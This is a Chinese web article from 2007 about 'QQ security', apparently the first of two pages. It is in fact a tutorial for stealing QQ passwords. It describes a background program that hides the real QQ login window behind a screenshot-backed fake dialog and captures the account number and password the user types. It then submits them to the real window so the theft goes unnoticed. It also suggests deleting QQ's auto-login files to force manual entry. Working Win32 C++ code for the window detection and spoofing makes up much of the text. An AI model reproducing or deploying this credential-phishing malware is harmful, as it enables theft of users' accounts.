WEB开发网
开发学院软件开发VC 也谈QQ安全 阅读

也谈QQ安全

 2007-03-17 21:25:40 来源:WEB开发网   
核心提示:本文示例源代码或素材下载 近日无所事事,看到现在的QQ防盗技术越来越好,也谈QQ安全,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了,主要代码

本文示例源代码或素材下载

近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的^_^,各位看官可不能扔丑鸡蛋啊。

网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉^_^,获得这些信息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟单击QQ登陆按钮完成QQ的正常登陆。

然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚了。了解QQ的地球人都知道^_^,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:

//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  PROCESSENTRY32 pe;
  pe.dwSize = sizeof(PROCESSENTRY32);
  if (!Process32First(hSnapshot, &pe)) {
    return FALSE;
  }
  while (Process32Next(hSnapshot, &pe)) {
    if (pe.th32ProcessID == PID) {
      strcpy(lpszProcessName, pe.szExeFile);
      return true;
    }
  }
  return FALSE;
}   
   
//查找QQ登录窗口
void QQFind()
{
  HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
  HWND ButtonLogin = NULL, ButtonCancel = NULL;
  char sTitle[255];
  CString ss;
  DWORD QQPID;
  int LoginID;
  BOOL find = FALSE;
  do
  {  
    //获得当前激活窗口的句柄
    g_hWnd = GetForegroundWindow();
    GetWindowThreadProcessId(g_hWnd, &QQPID);
    //根据PID获得进程名
    processIdToName(sTitle, QQPID);
    ss = sTitle;
    ss.MakeLower();
    //判断是否QQ
    if(ss != "qq.exe")
    {
      Sleep(100);
      continue;
    }
    
    //获得标题文字,判断是否登陆对话框
    SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
    ss = sTitle;
    int n = ss.Find("QQ", 0);
    int m = ss.Find("登录", 0);
    if(n >= 0 || m >= 0)
    {
      //查找QQ登陆按钮的句柄
      ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
      LoginID = GetDlgCtrlID(ButtonLogin);
      ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");  
      LoginID = GetDlgCtrlID(ButtonLogin);
      //获得QQ登陆按钮窗口位置
      GetWindowRect(ButtonLogin, &g_qqLogin);
      //查找QQ取消按钮的句柄
      ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
      //获得QQ取消按钮窗口位置
      GetWindowRect(ButtonCancel, &g_qqCancel);
      //查找QQ密码输入框的句柄
      hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);  
      if(hWnd1 != NULL)
      {
        qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
        //获得QQ密码输入框窗口位置
        GetWindowRect(qqPass_hWnd, &g_qqPassRt);          
      }
      
      //查找QQ号码输入框的句柄
      hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
      if(hWnd1 != NULL)
      {
        qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
        //获得QQ号码输入框窗口位置
        GetWindowRect(qqID_hWnd, &g_qqIDRt);
        //获得当前默认QQ号码
        SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
      }
      
      //等待QQ窗口完全出现后抓取整个屏幕
      Sleep(100);
      g_DlgRt.left = 0;
      g_DlgRt.top = 0;
      g_DlgRt.right = m_xScreen;
      g_DlgRt.bottom = m_yScreen;      
      g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
      
      //设置QQ窗口为不可见
      ShowWindow(g_hWnd, SW_HIDE);
      
      //弹出我们创建的伪造对话框
      HINSTANCE hInstance = GetModuleHandle(NULL);
      DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
      
      //设置QQ窗口为可见
      ShowWindow(g_hWnd, SW_SHOW);
      //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
      SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
      SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
      SendMessage(ButtonLogin, BM_CLICK, 0, 0);
      DeleteObject(g_pBitmap);
      //设置标志退出循环
      find = true;
    }
    
  }
  while(find == FALSE);
}
截图如下:

1 2  下一页

Tags:QQ 安全

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接